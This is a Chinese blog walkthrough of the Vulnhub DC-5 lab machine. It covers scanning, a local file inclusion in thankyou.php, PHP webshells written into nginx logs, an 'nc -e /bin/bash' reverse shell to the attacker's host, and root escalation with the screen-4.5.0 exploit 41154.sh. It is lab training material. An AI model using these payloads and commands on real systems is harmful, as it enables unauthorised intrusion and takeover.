Vulnhub | DC5靶机 渗透测试

DC系列靶机 5/9
主要内容:burp爆破登录框、本地文件包含漏洞(LFI)、nginx错误日志写一句话木马、screen-4.5.0提权

官网下载地址:https://www.vulnhub.com/entry/dc-5,314/
作者主页下载地址:https://www.five86.com/dc-5.html
靶场描述:
description



信息搜集

主机发现

arp-scan -l
nmap -sP 192.168.1.0/24
netdiscover -r 192.168.1.0/24
-r range
192.168.1.178

端口扫描

nmap -p- -A 192.168.1.178
nmap -sS -p- -A 192.168.1.178
nmap -sT -p- --min-rate 2000 192.168.1.178

--min-rate	最小发包率

nmap
扫出端口:8011158083,后面两个端口是RPC服务,不知道咋用

中间件是nginx/1.6.2


目录扫描

查看页面
index
爆破目录

dirb http://192.168.1.178 /usr/share/wordlists/dirb/big.txt -X .php,,.txt
-X	着重找这几个后缀
我给了两个后缀和一个无后缀

/
/about-us.php
/contact.php
/css/
/faq.php
/footer.php		这个在页面没看到,记录
/images/
/index.php
/solutions.php
/thankyou.php

dirb 扫描
发现输入框
输入框
抓包重放,发现下面这个会变动

burp
/thankyou.php中对应下面这个
在这里插入图片描述
单独访问/footer.php,刷新就会变动

footer.php
应该是thankyou.php调用了footer.php,判断可能有本地文件包含漏洞(LFI)


本地文件包含漏洞利用(LFI)

抓包改参数重放

file=/etc/passwd

burp 重放
成功执行,确定有文件包含漏洞

学到了wfuzz的用法

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hl 42 http://192.168.1.178/thankyou.php?FUZZ=/etc/passwd
-c	输出有颜色
-w	wordlist
--hl	隐藏Lines列值为42的行(顺序在字典后面,不然会报错
FUZZ	fuzz的位置,第二个位置用FUZ2Z,类推第n个用FUZnZ

wfuzz
接下来用burpsuite抓包,利用文件包含漏洞


前面扫出是nginx服务,在网站上的操作会被记录到日志文件中

配置文件:/etc/nginx/nginx.conf
错误日志:/var/log/nginx/error.log
访问日志:/var/log/nginx/access.log

查看nginx配置
查看nginx配置
查看错误日志
机器容易出问题,没什么规律,access.log访问不了,就利用error.log,再不行就重置机器

反弹shell可用两种方式,一种是写入<?php system($_GET['abcd']);?>,通过访问构造的url执行命令进行反弹shellhttp://192.168.1.101/thankyou.php?file=/var/log/nginx/access.log&abcd=nc -e /bin/bash 192.168.1.101 2333

另一种是写入<?php @eval($_POST['abcd']);?>,用蚁剑连反弹shell

写入一句话木马

蚁剑连


反弹shell

kali
nc -lvnp 2333
蚁剑shell
nc -e /bin/bash 192.168.1.101 2333

反弹shell
创建交互

python -c 'import pty;pty.spawn("/bin/bash")'

提权

看看sudo有没有无需密码的命令sudo -l

sudo -l

再看看有无SUID提权命令

find / -perm -4000 -print 2>/dev/null

SUID
screen-4.5.0可疑,在exploit-db中找找

kali直接命令行查找
searchsploit screen 4.5.0

searchsploit
看标题应该是同一个漏洞,将41154.sh复制到当前路径

searchsploit -m 41154.sh

searchsploit -m

打开看看
41154.sh
可以看到,前两段运行后,编译好的文件会放在/tmp下;第三段是执行程序,应该在目标机器上运行。为避免目标机器环境不支持编译,我们先将前两段剪切出来放本地编译,再将编译好的文件和第三段单独打包的文件放进目标机器中运行。

上传文件

chmod +x dc5.sh再执行./dc5.sh,一般就提到root权限了,我这glibc版本问题,运行报错

/tmp/rootshell: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by /tmp/rootshell)
ldd --version		查看glibc版本号

更换glibc有点麻烦,我换wsl2ubuntu 20.04 glibc 2.31进行编译,再传,成功提到root权限

切换glibc可以参考:更换glibc版本pwn题切换不同glibc版本实测
提权成功


get flag

thisistheflag.txt


以上

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值